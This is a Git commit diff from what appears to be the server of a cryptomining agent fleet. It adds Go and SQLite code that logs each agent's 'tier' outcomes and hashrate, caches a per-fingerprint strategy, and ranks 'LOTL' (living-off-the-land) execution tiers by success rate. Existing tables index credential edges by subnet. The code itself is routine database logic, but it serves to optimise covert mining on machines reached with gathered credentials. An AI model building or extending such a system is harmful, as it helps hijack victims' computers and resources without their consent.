Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -195,6 +195,25 @@ func (d *Database) migrate() error {
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
|
||||
`CREATE TABLE IF NOT EXISTS tier_outcomes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
agent_id TEXT NOT NULL,
|
||||
fingerprint_key TEXT NOT NULL,
|
||||
tier TEXT NOT NULL,
|
||||
ok INTEGER NOT NULL DEFAULT 0,
|
||||
hashrate REAL NOT NULL DEFAULT 0,
|
||||
phase TEXT NOT NULL DEFAULT 'mining',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`,
|
||||
`CREATE TABLE IF NOT EXISTS agent_strategy_cache (
|
||||
agent_id TEXT PRIMARY KEY,
|
||||
fingerprint_key TEXT NOT NULL,
|
||||
strategy_json TEXT NOT NULL,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
|
||||
102
server/internal/db/strategy.go
Normal file
102
server/internal/db/strategy.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
type TierOutcomeStats struct {
|
||||
Tier string
|
||||
Total int
|
||||
Successes int
|
||||
Failures int
|
||||
MaxHashrate float64
|
||||
}
|
||||
|
||||
func (d *Database) InsertTierOutcome(agentID, fingerprintKey, tier string, ok bool, hashrate float64, phase string) error {
|
||||
okInt := 0
|
||||
if ok {
|
||||
okInt = 1
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO tier_outcomes (agent_id, fingerprint_key, tier, ok, hashrate, phase, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)`,
|
||||
agentID, fingerprintKey, tier, okInt, hashrate, phase,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) UpsertAgentStrategyCache(agentID, fingerprintKey, strategyJSON string) error {
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO agent_strategy_cache (agent_id, fingerprint_key, strategy_json, updated_at)
|
||||
VALUES (?, ?, ?, CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(agent_id) DO UPDATE SET
|
||||
fingerprint_key = excluded.fingerprint_key,
|
||||
strategy_json = excluded.strategy_json,
|
||||
updated_at = CURRENT_TIMESTAMP`,
|
||||
agentID, fingerprintKey, strategyJSON,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListAgentStrategyFingerprints() (map[string]string, error) {
|
||||
rows, err := d.Query(`SELECT agent_id, fingerprint_key FROM agent_strategy_cache`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := make(map[string]string)
|
||||
for rows.Next() {
|
||||
var agentID, fpKey string
|
||||
if err := rows.Scan(&agentID, &fpKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[agentID] = fpKey
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func (d *Database) AggregateTierOutcomes(fingerprintKey, goos string) ([]TierOutcomeStats, error) {
|
||||
stats, err := d.aggregateTierOutcomesWhere(`fingerprint_key = ?`, fingerprintKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(stats) > 0 {
|
||||
return stats, nil
|
||||
}
|
||||
if goos == "" {
|
||||
return nil, nil
|
||||
}
|
||||
return d.aggregateTierOutcomesWhere(`fingerprint_key LIKE ?`, goos+"|%")
|
||||
}
|
||||
|
||||
func (d *Database) aggregateTierOutcomesWhere(whereClause string, arg interface{}) ([]TierOutcomeStats, error) {
|
||||
query := fmt.Sprintf(`
|
||||
SELECT tier, COUNT(*) AS total,
|
||||
SUM(CASE WHEN ok = 1 THEN 1 ELSE 0 END) AS successes,
|
||||
SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures,
|
||||
MAX(CASE WHEN ok = 1 THEN hashrate ELSE 0 END) AS max_hashrate
|
||||
FROM tier_outcomes WHERE %s GROUP BY tier`, whereClause)
|
||||
rows, err := d.Query(query, arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []TierOutcomeStats
|
||||
for rows.Next() {
|
||||
var s TierOutcomeStats
|
||||
if err := rows.Scan(&s.Tier, &s.Total, &s.Successes, &s.Failures, &s.MaxHashrate); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func (d *Database) PruneTierOutcomesOlderThan(cutoff time.Time) (int64, error) {
|
||||
res, err := d.Exec(`DELETE FROM tier_outcomes WHERE created_at < ?`, cutoff)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return res.RowsAffected()
|
||||
}
|
||||
Reference in New Issue
Block a user